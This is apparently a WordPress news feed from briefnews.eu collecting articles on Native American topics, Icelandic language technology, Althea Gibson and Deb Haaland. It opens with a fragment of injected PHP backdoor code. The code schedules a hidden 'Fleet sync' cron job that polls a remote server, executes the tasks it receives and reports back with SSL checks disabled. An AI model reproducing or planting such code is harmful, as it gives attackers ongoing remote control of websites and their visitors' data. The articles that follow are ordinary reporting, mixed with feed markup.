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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Native – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Sep 2022 15:53:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Native – Brief News https://briefnews.eu 32 32 Casinos, Native American tribes, and Major League Baseball are betting the most money ever on 2 competing California ballot initiatives. Neither Democrats or Republicans seem to care. https://briefnews.eu/casinos-native-american-tribes-and-major-league-baseball-are-betting-the-most-money-ever-on-2-competing-california-ballot-initiatives-neither-democrats-or-republicans-seem-to-care/ https://briefnews.eu/casinos-native-american-tribes-and-major-league-baseball-are-betting-the-most-money-ever-on-2-competing-california-ballot-initiatives-neither-democrats-or-republicans-seem-to-care/#respond Sun, 11 Sep 2022 15:53:21 +0000 https://briefnews.eu/casinos-native-american-tribes-and-major-league-baseball-are-betting-the-most-money-ever-on-2-competing-california-ballot-initiatives-neither-democrats-or-republicans-seem-to-care/ California voters will face two sports betting propositions on the ballot this fall.
California voters will face two sports betting propositions on the ballot this fall.

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  • California voters will face two propositions on the ballot relating to sports betting this fall.
  • Proposition 26 is aimed at in-person betting on tribal lands, while Proposition 27 is focused on online gaming.
  • The former is favored by dozens of Native American tribes, while the latter is supported by big-name companies. 

Sports gambling is popping up on the California ballot not once, but twice, this November. 

Propositions 26 and 27, which have both crowded California's airwaves, have seen donations amounting to $ 357 million from casinos, Native American tribes, Major League Baseball, and other interested parties. They have the potential to turn California into the globe's second-highest sports gambling market, just behind the UK. 

Prop 26 is sponsored by Native American tribes, such as Federated Indians of Graton Rancheria, and would legalize in-person gambling — including roulette and dice games — on tribal lands and racetracks, according to the state's Legislative Analyst Office. The nonpartisan office provides fiscal and policy advice to the state legislature. 

Prop 27 is sponsored by gaming companies including FanDuel and DraftKings, and would legalize online sports betting across the state, according to the office. The MLB is also a proponent of the measure.

If both measures were passed together, it could bring the state up to $ 3.4 billion annually, according to CalMatters. But if both passed, one measure may bring the matter to a court accusing the other of a conflict. 

Funds earned via Prop 26 would initially go to schools and the remainder to California's discretionary fund, mental health research, and gambling rules. Prop 27's revenue would be allocated to provide resources to address homelessness, mental health issues, and addiction.

More than 60 tribes oppose Prop 27, saying it would take away from their business, KFSN reported. But at least three smaller tribes support the measure believing the gaming would actually double their annual income.

Roughly 80 tribal casinos reside in California bringing in more than 8 billion in revenue annually to the state, Calmatters reported. There are about 110 federally recognized tribes, per California Courts. This means that not all tribes benefit from gambling revenue, which proves to be a vital economic resource for some.

The ABC affiliate says that Republicans in the state are against both measures, while the Democrats are against Prop 27 and "neutral on Prop 26." 

"I know initiatives and folks will say anything. Perhaps that initiative will provide a few dollars," Newsom told KFSN. "I'm not supporting or opposing it, I haven't given it a lot of thought, but it is not a homeless initiative. I know Angelenos can read between the lines and they know better."

Legal sports gambling map of the United States.
Legal sports gambling map of the United States.

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More than 30 states have legalized online sports betting since a 2018 Supreme Court ruling that reversed a 1992 law prohibiting most states from the act, CBS Sports reported. California is the only state with a similar measure on the ballot this fall. 

California's voters will decide on the measures on November 8.

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]]> https://briefnews.eu/casinos-native-american-tribes-and-major-league-baseball-are-betting-the-most-money-ever-on-2-competing-california-ballot-initiatives-neither-democrats-or-republicans-seem-to-care/feed/ 0 The Native American Healer Reviving the Medicine of Her Ancestors https://briefnews.eu/the-native-american-healer-reviving-the-medicine-of-her-ancestors/ https://briefnews.eu/the-native-american-healer-reviving-the-medicine-of-her-ancestors/#respond Sat, 05 Jan 2019 19:26:13 +0000 http://briefnews.eu/the-native-american-healer-reviving-the-medicine-of-her-ancestors/ When an elderly Lakota woman limped into the medical tent, one foot sporting a painful burn, Linda Black Elk knew just the herb that would help. She began boiling yarrow, a plant that blossoms golden yellow and has been prized for its healing properties for centuries. Though she had applied the remedy countless times, Black Elk was startled by her patient’s reaction.

“She started to cry,” recalls Black Elk, who apologized for causing her any additional pain. “No, these are happy tears,” the woman said. “Because I remember my grandmother talking about this plant when I was little, and I remember the Lakota name of it.”

Keepers of a once outlawed body of plant lore who have endured centuries of genocide, colonization and repression, Native American healers are working to integrate their traditional medicine with Western approaches to offer patients new ways to heal.

A self-described “nerdy indigenous ethnobotanist” who lectures at Sitting Bull College, a tribal university in Fort Yates, North Dakota, Black Elk is among the leaders of this renaissance, sharing her journey with more than 30,000 Facebook followers and speaking around the world. Determined to make indigenous healing more widely available, she is also setting up a local clinic inspired by the medical camp she operated during the 2016–17 protests at Standing Rock Sioux Reservation.

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“Probably what is most important to me is the realization that ‘traditional medicine,’ or Native ways of knowing and understanding the world, are just as important, valid and useful today as they were 1,000 years ago,” Black Elk says. “I feel like indigenous knowledge and medicine can work with Western medicine to create something that is more complete, more whole.”

With growing numbers of people searching for alternatives to the biomedical model of health care, Black Elk uses her apothecary to treat illnesses ranging from arthritis and respiratory problems to heart disease and diabetes to anxiety, depression and more.

But her larger mission is to build a bridge between ancestral wisdom and modern science. Married to a great-grandson of Black Elk, the Oglala Lakota medicine man whose recollections of tribal history, cosmology and myth were recorded in the 1932 book Black Elk Speaks, the 44-year-old is completing a Ph.D. in ecology and environmental science. What distinguishes Black Elk from other academic researchers is that she considers medicinal plants, such as echinacea, rose hip, blue vervain and valerian, her “relatives” — no different from the flesh-and-blood members of her family tree.

“She has the college education, but she also has indigenous knowledge,” says LaDonna Brave Bull Allard, a tribal historian who has known Black Elk for years. “Linda has been able to balance two worlds. That’s what makes her unique.”

Born into the Catabwa Nation, Black Elk learned about medicinal plants from her mother and grandmother and knew from a young age that she was destined to be a healer. A lecturer at Sitting Bull College since 2001, she leads students on field trips to identify herbs and promote what she calls “food sovereignty,” or the right to access healthy and culturally appropriate food while living sustainably and in harmony with nature.

What distinguishes Black Elk from other academic researchers is that she considers medicinal plants her “relatives” — no different from the flesh-and-blood members of her family tree.

Black Elk’s work has taken her beyond the U.S. to address audiences in Great Britain, Italy, Australia and Guatemala; still, her priority remains protecting Native Americans’ cultural, spiritual and natural heritage — a calling she embraced in the wake of the Standing Rock protests against the proposed 1,200-mile Dakota Access pipeline.

Braving riot police armed with dogs and military-style vehicles, and getting hosed with water cannons in subzero temperatures, Black Elk ran a medical camp for sick and injured protesters. Some two dozen Western-trained physicians and Native American healers volunteered to pool their knowledge. The elderly woman with a burned foot was just one of the hundreds Black Elk treated, and that combination of modern and indigenous medicine served as a model and inspiration for the clinic she’s opening in Fort Yates.

“We created this space where anyone could come and receive health care,” Black Elk says. “We had people coming from hundreds of miles away — people who didn’t even care about the pipeline.”

Dr. Donald Warne, associate dean at the University of North Dakota’s School of Medicine and Health Sciences and an Oglala Lakota, says Black Elk’s values cut a sharp contrast to the profit motive driving most U.S. health care. “In modern systems, we’re always concerned about intellectual property, who gets the credit, who gets the patent. It’s not what she’s about,” he says. “She’s about ensuring the knowledge is spread to people who need it and want it.”

While many people attest to the benefits of herbal medicine, health care professionals strike a more cautionary note. Craig Hopp, an expert on plant-based remedies at the National Center for Complementary and Integrative Health, says a skilled herbalist might help with minor ailments, but his advice is clear: Consult a doctor for anything remotely serious. “As beneficial as herbs might be, they’re not going to treat your cancer,” Hopp says. “That’s where I’d draw the line and say you need some serious medicine to get through this crisis and don’t mess around with the other stuff.”

What’s more, say the skeptics, few indigenous remedies have been subjected to clinical trials. But could there be other ways to discern the medicinal properties of plants besides carefully controlled laboratory studies? For her part, Black Elk prefers to approach a wild herb and offer it a pinch of sacred tobacco or sing it a song before asking for its message.

Sometimes she will hear a voice in her head, speaking in English or Lakota, or receive an image in a dream. “Other times, I will meet a plant relative, and I’ll get an impression,” she says, “a feeling of ‘I can help you. I’m available for you to harvest, and use as medicine.’”

With researchers positing that sophisticated forms of plant consciousness may be possible, Black Elk looks forward to the moment when science catches up with the truth indigenous people have long known: The spirits of trees, herbs and flowers can teach as well as heal. One day, she hopes their lessons will not only open new pathways for curing diseases but also provide a blueprint for restoring the balance between people and the planet.

“As an indigenous woman, I have been taught to think, How will my actions today impact the next seven generations after me?” says Black Elk. “If anything, what happened at Standing Rock helped show the world that our connection to the land — which is still as vibrant and real as it always was — is the key to moving forward to create a better world for everyone.”

5 Questions for Linda Black Elk

  • What was the last book you finished? Aanjikiing/Changing Worlds: An Anishinaabe Traditional Funeral, by Lee Obizaan Staples and Chato Ombishkebines Gonzalez, an amazing bilingual account of an Anishinaabe funeral rite from beginning to end.
  • What do you worry about? I worry about the water. It makes me crazy that the rivers and streams that my ancestors relied upon are so polluted.… I can’t drink the water that nourished them. I can’t cook with it. I can’t bathe in it. All I can do is pray with it and for it.… I worry about what kind of life my children will get from the water that I am leaving behind.
  • What’s the one thing you can’t live without? I can’t live without fermentation. I eat fermented foods and drink [fermented] beverages every day. As a nerdy scientist, fermentation is my most favorite chemical process.
  • Who’s your hero? One of my greatest heroes is Sharice Davids [who recently became one of two Native American women elected to Congress]. She is also a former MMA fighter, a lawyer and an all-around amazing indigenous woman who sets the bar for physical, mental, emotional and spiritual well-being.
  • What’s one item on your bucket list? To canoe the waterways of North America with nothing but a knife, a tent and a fishing pole. I have the skills and motivation to live off the land for extended periods, and I’d love to be so close to Mother Earth that I have to rely on her for my very survival. But I’m not as strong as my ancestors, hence the knife, the tent and the fishing pole.

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]]> https://briefnews.eu/the-native-american-healer-reviving-the-medicine-of-her-ancestors/feed/ 0 Native Americans managed the prairie for better bison hunts https://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/ https://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/#respond Wed, 25 Jul 2018 15:57:51 +0000 http://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/

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Layers of charcoal residue buried beneath the northern Montana prairie show that pre-Columbian indigenous hunters on the Great Plains once burned patches of grassland to stimulate new growth. This created a tempting feast for bison herds, which the hunters then used to lure the bison in for the kill. And that, archaeologists say, means that even relatively small, mobile groups of hunter-gatherers can have a bigger environmental impact than they’ve been given credit for.

It’s not the fall, it’s the sudden stop at the end

For a group of hunters on foot, like the ancestors of today’s Blackfeet people, one of the most efficient ways to take down large prey like the American bison is to simply chase a group of them off a cliff and then harvest the remains below. Various hunter-gatherer societies around the world have used versions of this tactic over the last several thousand years, leaving piles of animal bones (many with evidence of butchering or cracking to get at marrow) at the bases of ancient bluffs. It takes planning and coordination among many hunters—and a decent amount of luck.

In the uplands of north-central Montana, on what is today the Blackfeet Reservation, pre-Columbian hunters built mile-long stretches of rock cairns called drivelines, which hunters used to help them funnel buffalo herds from fertile grazing patches called gathering basins, toward the edge of a steep bluff overlooking a tributary of the Two Medicine River. At two different driveline sites, archaeologists have radiocarbon dated bison bones to between 900 and 1650 CE, with the majority of kills happening in the final 250 years of that period. (The sites are on a tributary flowing into the Two Medicine River from the north and another on a different tributary flowing in from the south.)

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]]> https://briefnews.eu/native-americans-managed-the-prairie-for-better-bison-hunts/feed/ 0 Court: Native American tribe can’t be a “sovereign” shield during patent review https://briefnews.eu/court-native-american-tribe-cant-be-a-sovereign-shield-during-patent-review/ https://briefnews.eu/court-native-american-tribe-cant-be-a-sovereign-shield-during-patent-review/#respond Wed, 25 Jul 2018 13:34:43 +0000 http://briefnews.eu/court-native-american-tribe-cant-be-a-sovereign-shield-during-patent-review/

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In a unanimous decision, an appellate court has resoundingly rejected the legal claim that sovereign immunity, as argued by a Native American tribe, can act as a shield for a patent review process.

On July 20, the United States Court of Appeals for the Federal Circuit found in a 3-0 decision that the inter partes review (IPR) process is closer to an “agency enforcement action”—like a complaint brought by the Federal Trade Commission or the Federal Communications Commission—than a regular lawsuit.

IPR is a process that allows anyone to challenge a patent’s validity at the United States Patent and Trademark Office—it was used famously in 2017 to reject the “podcasting patent.”

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]]> https://briefnews.eu/court-native-american-tribe-cant-be-a-sovereign-shield-during-patent-review/feed/ 0 Iceland Fights to Protect Its Native Tongue From Siri https://briefnews.eu/iceland-fights-to-protect-its-native-tongue-from-siri/ https://briefnews.eu/iceland-fights-to-protect-its-native-tongue-from-siri/#respond Sat, 14 Jul 2018 04:26:34 +0000 http://briefnews.eu/iceland-fights-to-protect-its-native-tongue-from-siri/

If you learn one thing from Ari Pall Kristinsson, learn this: The Icelandic language is not in decline. “This is not an endangered language, not at all,” he says — but for that to stay true, a lot of work will have to be done, and he and his colleagues at the Árni Magnússon Institute for Icelandic Studies are going to make damn sure that work gets done.

That’s not to say that reports of the death of Icelandic have been greatly exaggerated. While 90 percent of Icelanders still speak it as their first language, recent studies have found that 30 percent of 13- to 15-year-olds speak English with their friends, and exposure to technology like Siri and Alexa that doesn’t support Icelandic is swiftly eroding the language’s relevance to a generation that sees a more expansive future in learning English. But Kristinsson, head of the institute’s Language Planning Department, isn’t going down without a fight.

Increased concerns that Icelandic will fall into decline have brought both government intervention and money: Last year, the Icelandic government allocated funding for the institute to develop language technologies in Icelandic, so islanders can enjoy Siri, Alexa, GPS and any other talking robots in their native language. The project, set to kick off later this year, will focus on speech synthesis and speech recognition in Icelandic, as well as open-source machine learning systems geared toward the language. It’s a heavier lift with Icelandic than with, say, French, because there are fewer texts to work from, meaning linguistic research databases known as corpora simply can’t achieve the same volume.

“For languages like ours, there has to be a constant effort to try to find ways to make this work,” explains Steinþór Steingrímsson, a project manager at the institute who’s focused on language technology. “But technology-wise, we don’t have to be as pessimistic as we were two or three years ago.” For Steingrímsson, 41 — who’s been with the institute since 2011 after a varied career of language instruction, computer game programming and journalism — the five years of funding may not be enough to create all the technology they need, but it’ll be enough to establish proof-of-concept that something can be done.

Kristinsson worries about the country’s young people: “We need to be able to control our cars in the future in Icelandic.”

Kristinsson spent much of his career working for the Icelandic Language Institute and then a decade leading it (the institute, along with several other bodies, became the Árni Magnússon Institute in 2006). The 58-year-old has a Ph.D. in Icelandic linguistics and has chaired both the Icelandic Linguistics Society and the Icelandic Place Names Committee: If Icelandic has a champion, this is the guy.

While France’s Académie Française organizes French translations of foreign phrases and words that creep into the lexicon, Iceland has no such authorized body, instead making do with loose coalitions by industry that meet to determine new Icelandic terms for the medical community, legal community and so on. The closest to an organized national body is the Icelandic Language Council, of which Kristinsson is a member, which convenes annually to issue a resolution on the status of Icelandic and choose a theme to emphasize — last year it was the paucity of children’s literature written in Icelandic, viewed as a major problem for keeping children interested in their native language.

To be sure, there are examples of languages without a wealth of native speakers surviving in the digital age. When hammering out their battle plan, Steingrimsson says, they looked to Estonia, which initiated a series of digital language protection projects in 2006 to keep its notoriously difficult language from being left behind, though Iceland’s approach is more top-down than Estonia’s and won’t involve open competitions for applications. Kristinsson worries about the country’s young people, who, he says, must find Icelandic useful and relevant to discourage them from turning to English: “We need to be able to control our cars in the future in Icelandic.” And as smart technology and digital assistants become ever more ubiquitous, the technology looks increasingly like the most critical piece of the puzzle. But there’s hope: In May, Microsoft added Icelandic as a supported language, the same month that Google, which already had Icelandic speech recognition, added Icelandic to Google Maps — a happy accident, Kristinsson explains, thanks to there being an Icelandic engineer working at Google.

While Kristinsson focuses his concern on the attitudes of teens and young adults toward Icelandic, the trouble may start sooner than that. Sigríður Sigurjónsdóttir, a professor of Icelandic linguistics who’s completed year two of a three-year research project into the effects of English exposure on Icelanders, says exposure among the very young may be a far bigger problem. “We’re now seeing very young children watching YouTube videos or Netflix, and around 40 percent of the 3- to 5-year-olds we talk to started using the internet before the age of 2,” she explains. “That’s when you acquire your language.” Which means that Iceland’s youngest citizens may not effectively absorb Icelandic grammar, even if it remains their first language. “Young people see the world as their playground, and this shapes their attitudes,” Sigurjónsdóttir says. “They don’t see Icelandic as useful.”

But it is, argues Kristinsson. And while Iceland’s youth might not realize it, many others do. Úlfar Bragason, a professor at the University of Iceland, says that enrollment in the university’s Icelandic as a second language program has shot up from about 300 to 500 in just a couple of years. Meanwhile, 180,000 people are using the free Iceland Online language learning program. And even if Icelandic isn’t on the popular language learning app Duolingo, Bragason says he believes their program is the better way to learn. “Icelandic is actually cool abroad,” Sigurjónsdóttir agrees. “But here in Iceland, it’s not that cool.”

If you want to test your tongue on Icelandic, here’s a primer from the “I Heart Reykjavík” podcast.

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  • A video that went viral on social media appears to show a Border Patrol vehicle striking down a Native American man in Arizona and driving away.
  • Border Patrol says it is “actively investigating” the incident.
  • The man in the video told the Arizona Daily Star he was treated in a hospital for minor bruises. 

Border Patrol is “actively investigating” a viral video that appears to show one of its agents hitting a Native American man with a marked vehicle, then speeding away.

“We do not tolerate misconduct on or off duty and will fully cooperate with all investigations of alleged unlawful conduct by our personnel,” the Border Patrol said in a statement to The New York Times.

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]]> https://briefnews.eu/video-shows-border-patrol-vehicle-striking-down-a-native-american-man-and-driving-away/feed/ 0 Meet the Socialite Who Helped Preserve — and Destroy — Native American Culture https://briefnews.eu/meet-the-socialite-who-helped-preserve-and-destroy-native-american-culture/ https://briefnews.eu/meet-the-socialite-who-helped-preserve-and-destroy-native-american-culture/#respond Mon, 11 Jun 2018 17:37:34 +0000 http://briefnews.eu/meet-the-socialite-who-helped-preserve-and-destroy-native-american-culture/

The first time Alice Cunningham Fletcher heard Native American music — a cacophony of drumming and screaming — was on an autumn camping trip among the Sioux in 1881. Yet all around her, people were dancing and enjoying the complex rhythms and ululations. Fletcher’s training as an anthropologist told her to ignore her own preconceptions about what music should be and instead try to understand what it expressed out on the plains. Only one other scholar had studied Native American music, and Fletcher’s experience of roughing it in the Dakota Territory inspired her to go further — she wanted to record and transcribe the music before it was lost forever.

Over the next 15 years, Fletcher worked with Francis La Flesche, the son of an Omaha chief, to make more than 400 wax cylinder recordings of Native American music. The partners also documented dances and other ceremonies that Fletcher described in two books and numerous scholarly articles. And while Fletcher and La Flesche were preserving a culture for posterity, the U.S. government was systemically destroying the way of life that had created that art with policies Fletcher herself championed.

[Fletcher] genuinely believed allotment would empower reservation natives, but she was gravely mistaken.

Denny Smith, associate professor of history, University of Nebraska at Omaha

Fletcher was born in Cuba in 1838. Her father was a New York lawyer who had taken his family to the Caribbean in hopes the climate would cure his unspecified ill health; her mother was from a prominent Boston family. When her father died the following year, Fletcher and her mother returned north, to Brooklyn, where Fletcher was educated in exclusive private schools. She eventually became a governess.

In 1870, she was invited to join a newly formed club called Sorosis, a professional organization for women. There, she met pioneers of the suffrage movement and became connected to some of the most prominent women of her time — women “who believed that they were at the top of the social ladder because they deserved to be there,” writes Joan Mark in A Stranger in Her Native Land: Alice Fletcher and the American Indians.

Unlike most women she knew, however, Fletcher was single and needed to earn a living. Using her society and professional contacts, she dropped the governess gig and started a career as a public lecturer, traveling throughout the Northeast to give talks on anthropology, archaeology and the education of Native Americans. As she learned more about American prehistory, her fascination with indigenous peoples soared, and she received permission from F.W. Putnam, curator of Harvard’s Peabody Museum, to audit classes.

Antiseptic academic studies in Boston were far removed from learning directly from actual Native Americans, and Fletcher longed to explore the West. She got her chance on that camping trip in 1881, arranged by Susette La Flesche, daughter of the chief of the Omaha tribe, and La Flesche’s husband, Thomas Henry Tibbles. During the expedition, Fletcher learned firsthand of the threats Sioux, Omaha and other tribes faced as the U.S. government broke treaties and relentlessly seized their land. Even La Flesche’s father, Chief Joseph, worried whether the Omaha’s deal with the government locked in ownership of the tribe’s ancestral land.

Fletcher began to believe that assimilation — in the form of a 160-acre homestead, citizenship and access to public education and other governmental resources — was far better than removal, which had been decimating Native Americans since the arrival of English settlers in the 17th century. The La Flesche family also supported integration into white society, says Denny Smith, an associate professor of history at the University of Nebraska at Omaha and an Assiniboine from the Fort Peck Reservation in Montana. “[Fletcher] genuinely believed allotment would empower reservation natives,” Smith notes, “but she was gravely mistaken.”

Fletcher was appointed special agent with the Bureau of Indian Affairs and tasked with divvying up the Omaha tribal land into private, individual plots, a policy that became the model for the Dawes Act of 1887, which she helped draft and pass. Allotment was devastating. “[It was] a legal land fraud perpetrated by the federal government to steal tribal lands from within existing reservations,” says Smith. He and many other historians believe the damage of this policy, which destroyed a culture built around communal land, is still evident today.

And even as these massive disruptions were rocking the West, Fletcher connected with Susette’s brother Francis La Flesche and began an odyssey to document and record dances, ceremonies and music of the Sioux, Omaha and Nez Percé. Together and separately, they lugged the wooden box and large cone of the wax cylinder recorder across the West to capture songs, creating one of the most significant early collections of Native American music. More than 100 of those recordings now reside in the Library of Congress.

While Fletcher credits La Flesche as an assistant in her books, A Study of Omaha Indian Music and The Omaha Tribe, he probably had a larger role than that. “It is [our organization’s] firm belief that Francis La Flesche, and not Alice Fletcher, is the principal author of The Omaha Tribe,” says Margery Coffey, assistant director of the Omaha Tribal Historical Research Project. Smith agrees: “Almost everything Fletcher knew about Omahas came from La Flesche, and he alone is the source of priceless cultural heritage, traditions and stories in this book.”

And that once again poses a paradox. Even though the fancy lady from back East didn’t give credit where credit was due, her help and connections enabled La Flesche to become the first Native American anthropologist.

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]]> https://briefnews.eu/meet-the-socialite-who-helped-preserve-and-destroy-native-american-culture/feed/ 0 This Harlem Native Rocked Roland Garros … Back in 1956 https://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/ https://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/#respond Sun, 10 Jun 2018 05:58:10 +0000 http://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/ Three years after Jackie Robinson broke Major League Baseball’s color barrier in 1947, the world of tennis saw its own segregated traditionalism under siege. Thanks to a young woman from Harlem — a fierce competitor with a forehand forged on the Police Athletic League playgrounds — delaying integration was no longer feasible. Althea Gibson had arrived, ready to shake up the world of tennis.

So why has memory of her faded?

“I grew up hearing stories about Arthur Ashe and everything he represented for Black players, like myself,” says Frances Tiafoe, a 20-year-old Maryland native ranked 58th on the ATP tennis World Tour. “But it wasn’t until I got older that I even heard of [Gibson].”

 

I knew that I was an unusual, talented girl, through the grace of God.

 

Althea Gibson

Well before she became the first Black athlete to be invited to the U.S. National Championships (now U. S. Open) in 1950, it was evident Gibson was an effervescent talent. On the playground, golf course, stage or court, Gibson was a star. The 1939 New York City table tennis champion grew into a tennis phenom, becoming the first minority to with a Grand Slam title (the French Open,1956) before capturing U.S. National and Wimbledon trophies in both 1957 and 1958. She won 11 Grand Slam titles, then became the first Black woman on golf’s LPGA tour. By any definition, Gibson was a barrier-breaker — an iconic figure in the rich annals of a sport that reveres history. But, chances are, you’ve never heard of her.

When a teenage Arthur Ashe, who remains the only Black man to win singles titles at the U.S. Open, Wimbledon and the Australian Open, wanted to perfect his craft, he employed the help of Robert Walter Johnson, a physician and tennis trainer in Virginia. Johnson was known as the godfather of Black tennis for founding the American Tennis Association’s (ATA) Junior Development Program for African-American youths. Early on, his most successful pupil was an 18-year-old Althea Gibson.

In 1941, one year after picking up the sport, a 14-year old Gibson won her first tournament, the all-Black ATA New York State championships. She was runner-up in the 1946 championship, but her performance caught Johnson’s eye. According to a 1957 Time magazine profile entitled “The Gibson Girl,” Johnson asked the young star how she would “like to play at Forest Hills one day.”

“Don’t kid me,” she said, brushing off the notion that a Black girl would ever play in the U.S. Nationals at Forest Hills Stadium in Queens, New York.

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Four years later, she debuted at Forest Hills on her 23rd birthday. “I knew that I was an unusual, talented girl, through the grace of God,” she told Time. After years of lobbying by the ATA and retired tennis Hall of Famer Alice Marble, the U.S. Tennis Association invited Gibson and her unusual talents to the tournament. She lost in the second round, but her presence at the formerly white-only club was felt near and far. She played fast and hit hard, in an almost violent manner reminiscent of today’s stars. But, back then, her style was shockingly untraditional.

Gibson won her first international title in Jamaica in 1951. That same year she became the first Black athlete to play Wimbledon. But, in 1956, the nearly 30-year-old Gibson was still searching for a singles championship. The breakthrough came in Paris when she captured the 1956 French Open crown at the hallowed Roland Garros.

In the mid-20th century, though, peak athleticism did not last long for most athletes. Segregation nearly cost Gibson a chance to realize her potential. Nearly. The next year, she won singles titles at Wimbledon, the Australian Open and U.S. Nationals, before repeating her wins at Wimbledon and U.S. Nationals in 1958.

Gibson retired in 1958, owner of 56 national and international singles and doubles amateur titles. Prior to the open era, prize money was nonexistent and endorsement deals were minimal. “Being the Queen of Tennis is all well and good, but you can’t eat a crown,” she said at the time. “I reign over an empty bank account, and I’m not going to fill it by playing amateur tennis.”

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A talented vocalist, Gibson appeared on The Ed Sullivan Show to promote an album in 1957, but sales were disappointing. She worked as an actress, comedian and sports broadcaster, and published a memoir in 1960.

Then, of course, she did what she did best: flipped another whitewashed sport on its head. In 1964, a 37-year-old Gibson became the first Black woman to play on golf’s LPGA tour, but she still faced years of discrimination from clubs that refused her presence.

Today, sports fans of a certain age know only a reality in which two of the greatest tennis players ever — Serena and Venus Williams — are Black. But it was another 15 years after Gibson’s triumphs before another woman of color — Australian Evonne Goolagong, in 1971 — won a Grand Slam title, and 43 years before Serena won her first of six U.S. Opens, in 1999. Venus won the next two, imitating Gibson’s repeat feat decades earlier. Before that 1999 title, Serena penned Gibson a letter, thanking her for paving the way.

In February, the USTA announced plans to erect a memorial statue of Gibson — who passed away in 2003 — at the Billie Jean King Tennis Center, home of the Open and mere miles from Forest Hills Stadium. It won’t be ready for this year’s tournament in August, but soon a day will come when fans invade the grounds for America’s most famous tennis tournament, sipping honey deuce cocktails and ready to cheer on the chosen few. Maybe, as fans are prone to do, they’ll stop to admire the giant bronze statue before filing into tiers of seats. At that moment, tennis will have finally paid Althea Gibson her due.

]]> https://briefnews.eu/this-harlem-native-rocked-roland-garros-back-in-1956/feed/ 0 Could She Be the First Native American Congresswoman? https://briefnews.eu/could-she-be-the-first-native-american-congresswoman-2/ https://briefnews.eu/could-she-be-the-first-native-american-congresswoman-2/#respond Wed, 06 Jun 2018 21:16:22 +0000 http://briefnews.eu/could-she-be-the-first-native-american-congresswoman-2/ OZY first published this profile in September 2017. On Tuesday, June 5, Haaland won her Democratic primary election — putting her in prime position to make history this fall in the mostly blue seat.

Deb Haaland seems most at ease when she’s pacing the hallways of the Indian Pueblo Cultural Center in Albuquerque. Striving to become the first native U.S. congresswoman in America, the 56-year-old’s eyes grow wide when she sees a traditional Pueblo kitchen, the kind she peeked into as a child, watching her mother and grandmother cook traditional dishes for hours on end: “See how industrious we used to be!”

The walls are dotted with pottery and placards. With a finger, Haaland traces a map of the 19 pueblos of New Mexico, westward from the ancient Taos of the north to the Laguna — her tribe, where, as past chairwoman for the development corporation board of directors, she helped manage what was then the state’s second-largest tribal gaming operations. The Pueblo were matriarchal: Clans and property were passed down through the women. Yet after the Spanish settlers came, that female-centric attitude changed. In the late ’90s, the Laguna would not allow women to run for tribal office — until Haaland helped a friend challenge the practice in tribal court, prompting a voter referendum that ended the gender ban.

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It’s just one anecdote in a career filled with similar tales of Haaland helping raise others’ voices. That mindset is in her roots, from serving as the Obama 2012 campaign’s Native American vote director to traveling to Standing Rock last September to solicit support for the Lakota people’s fight against the North Dakota Access Pipeline. Most recently, she served as the Democratic Party chair of New Mexico, crisscrossing the state to campaign for their slate of candidates. In that role, she not only helped Hillary Clinton reach an eight-point victory, but she also led the effort that flipped the New Mexico Statehouse from red to blue, making it one of only two states to switch in Democrats’ favor nationwide. “It was one of the more successful terms in decades,” notes Juan Sanchez, who served as Haaland’s vice chair. Her strongest trait? “More than anything, it’s her relatability,” he says. “No matter where people are coming from, Deb will reach out and connect with them.”

There’s not enough discussion on how debates around fracking and public lands affect tribal people like herself, Haaland says.

Born into a military family, she became a single mother at age 34, and sometimes relied on food stamps and government aid. She graduated from the University of New Mexico with an English degree in the ’90s, and went on to own the Pueblo Salsa company and sell antiques for Pattin Auctions. It was then that she got involved in grassroots activism, especially focused on increasing the number of Native Americans registered to vote. She returned to UNM in 2006 to earn her law degree. The next year, she graduated from Emerge New Mexico, a leadership program aimed at getting more Democratic women in office — launching her work on both Obama campaigns and then as the Democrats’ candidate for lieutenant governor in 2014.

Haaland aims to be a trendsetting politician, one rooted in Pueblo values of environmental stewardship, community mindset and dogged work ethic. Her track record of helping elect progressives shows her dependability, she says, and differentiates her from her fellow Democratic candidates, none of whom have run for statewide office. As congresswoman, she promises to oppose Trump’s attempts to end the Deferred Action for Childhood Arrivals immigration program, fight back against the Ryan Zinke–led review of national monuments and promote policies that encourage renewable energies, such as solar. “It scares me that climate change is ruining our planet, that ice sheets are breaking off of Antarctica, that permafrost is melting in Alaska,” she says.

Yet at times Haaland struggles to articulate her vision. When asked what she stands for, she says she has “walked the walk” on environmental issues, without offering up much else (her spokesperson, Scott Forrester, points to a Medium page elucidating her views, adding: “If you’re looking for a candidate with fancy sound bites, you won’t find it with Haaland. Her actions and transparency demonstrate what she stands for”).

